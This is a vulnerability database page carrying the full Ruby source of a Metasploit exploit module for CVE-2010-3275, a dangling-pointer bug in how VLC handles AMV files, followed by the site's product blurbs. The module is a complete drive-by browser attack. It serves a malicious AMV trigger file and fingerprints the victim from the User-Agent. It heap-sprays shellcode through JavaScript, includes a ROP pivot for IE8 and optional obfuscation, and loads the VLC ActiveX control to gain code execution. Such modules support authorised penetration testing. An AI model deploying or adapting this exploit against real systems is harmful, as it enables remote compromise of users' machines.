Lucene search
K

VLC AMV Dangling Pointer Vulnerability

🗓️ 25 Mar 2011 22:49:11Reported by sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

VLC AMV Dangling Pointer Vulnerability. Exploits VLC media player when handling .AMV file, causing a crash due to an invalid pointer, leading to arbitrary code execution. Vulnerable packages: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. IE 8 targets require Java support

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'        => "VLC AMV Dangling Pointer Vulnerability",
      'Description' => %q{
          This module exploits VLC media player when handling a .AMV file. By flipping
        the 0x41st byte in the file format (video width/height), VLC crashes due to an
        invalid pointer, which allows remote attackers to gain arbitrary code execution.
        The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also,
        please note that IE 8 targets require Java support in order to run properly.
        },
      'License'     => MSF_LICENSE,
      'Author'      =>
        [
          'sinn3r',
        ],
      'References' =>
        [
          ['CVE', '2010-3275'],
          ['OSVDB', '71277'],
          ['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],
          # Fix commit diff
          ['URL', 'http://web.archive.org/web/20130610070348/http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11']
        ],
      'Payload' =>
        {
          'BadChars'        => "\x00",
          'space'           => 1024,
          #Fix the stack before the decoder so we can decode properly
          #SUB SP, 0X100; POPAD; POPFD
          'PrependEncoder'  => "\x66\x81\xec\x01\x01\x61",
          #Fix the stack again so the payload runs properly
          #ADD SP,0x61
          'Prepend'         => "\x66\x83\xc4\x61",
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => "process",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'Automatic', {} ],
          [ 'Internet Explorer 6 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
          [ 'Internet Explorer 7 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
          [ 'Internet Explorer 8 on XP SP3', { 'Rop' => true,  'TargetAddr' => 0x77025024 } ],
          [ 'Internet Explorer 7 on Vista',  { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ]
        ],
      'DisclosureDate' => '2011-03-23',
      'DefaultTarget' => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ])
  end

  def get_target(cli, request)
    #Default target
    my_target = target

    vprint_status("User-Agent: #{request.headers['User-Agent']}")

    if target.name == 'Automatic'
      agent = request.headers['User-Agent']
      if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
        #Windows XP + IE 6
        my_target = targets[1]
      elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
        #Windows XP + 7.0
        my_target = targets[2]
      elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
        #Windows XP + IE 8.0
        my_target = targets[3]
      elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
        #Windows Vista + IE 7.0. Win Server 2008 is also NT 6.0
        my_target = targets[4]
      elsif agent =~ /^vlc/
        #VLC identifies itself as "VLC" when requesting our trigger file
        return 'VLC'
      elsif agent =~ /^NSPlayer/
        #NSPlayer is also used while requesting the trigger file
        return 'VLC'
      else
        #If we don't recognize the client, we don't fire the exploit
        my_target = nil
      end
    end

    return my_target
  end

  def exploit
    #Load trigger file
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2010-3275.amv")
    f = File.open(path, "rb")
    @trigger = f.read
    f.close

    #Set trigger file name
    @filename = rand_text_alpha(rand(6) + 3)

    super
  end

  def on_request_uri(cli, request)
    #Pick the right target
    my_target = get_target(cli, request)
    if my_target.nil?
      vprint_error("Target not supported")
      send_not_found(cli)
      return
    end

    vprint_status("URL: #{request.uri.to_s}")

    #Send the trigger file upon request
    if request.uri.match(/\.amv/)
      print_status("Sending trigger file")
      send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } )
      return
    end

    #ARCH used by the victim machine
    arch = Rex::Arch.endian(my_target.arch)

    #Generate our payload
    if my_target['Rop']
      #IE 8 targets
      code = generate_rop_payload('java', payload.encoded)

      #Align and 'jump' to our final payload at 0x0c0c0c0c
      ini_stage = [
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x0c0c0c0c,  # Address of the payload
        0x7C348B05,  # XCHG EAX,ESP # RETN (MSVCR71.dll)
      ].pack('V*')

      #Add padding to line up the pivot correctly
      ini_stage << rand_text_alpha(128-ini_stage.length)

      nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)
      code = Rex::Text.to_unescape(code, arch)
      pivot = Rex::Text.to_unescape(ini_stage + [my_target['TargetAddr']].pack('V*'), arch)
    else
      #Non IE 8 targets
      nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
      code = Rex::Text.to_unescape(payload.encoded, arch)
      pivot   = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch)
    end
    randnop = rand_text_alpha(rand(100) + 1)

    #First spray overwrites 0x0c0c0c0c with our payload
    spray_1 = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{code}");
    var #{randnop} = "#{nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x1000) nops += nops;
    var offset = nops.substring(0, 0x600-0x20);
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x20000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x10000-6)/2);

    heap_obj.gc();

    for (var i=0; i<0x1000; i++) {
      heap_obj.alloc(block);
    }
    JS

    #An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g,
    #which requires us to fill up the memory as high as 0x303234ca
    spray_2 = <<-JS
    var padding = unescape(#{randnop});
    var pivot = unescape("#{pivot}");

    while (padding.length < 0x20000) padding += padding;
    var offset2 = padding.substring(0, 0x1ff);
    var p = offset2 + pivot + nops.substring(0, 0x800-pivot.length-offset2.length);

    while (p.length < 0x20000) p += p;
    var pivot_block = p.substring(0, (0x10000-6)/2);

    for (var i2=0; i2 < 0x2000; i2++) {
      heap_obj.alloc(pivot_block);
    }
    JS

    #Use heaplib
    js = heaplib(spray_1 + spray_2)

    #obfuscate on demand
    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    #Value for the 'Src' parameter of our ActiveX control
    trigger_file = get_resource() + "/" + @filename + ".amv"

    html = <<-EOS
    <html>
    <head>
    </head>
    <body>
    <script language='javascript'>
    #{js}
    </script>
    <object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
        codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
        width="0" height="0"
        events="True">
    <param name="Src" value="#{trigger_file}"></param>
    <param name="ShowDisplay" value="False" ></param>
    <param name="AutoLoop" value="no"></param>
    <param name="AutoPlay" value="yes"></param>
    </object>
    </body>
    </html>
    EOS

    #Remove extra tabs in HTML
    html = html.gsub(/^ {4}/, "")

    print_status("Sending #{self.name}")
    send_response( cli, html, {'Content-Type' => 'text/html'} )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation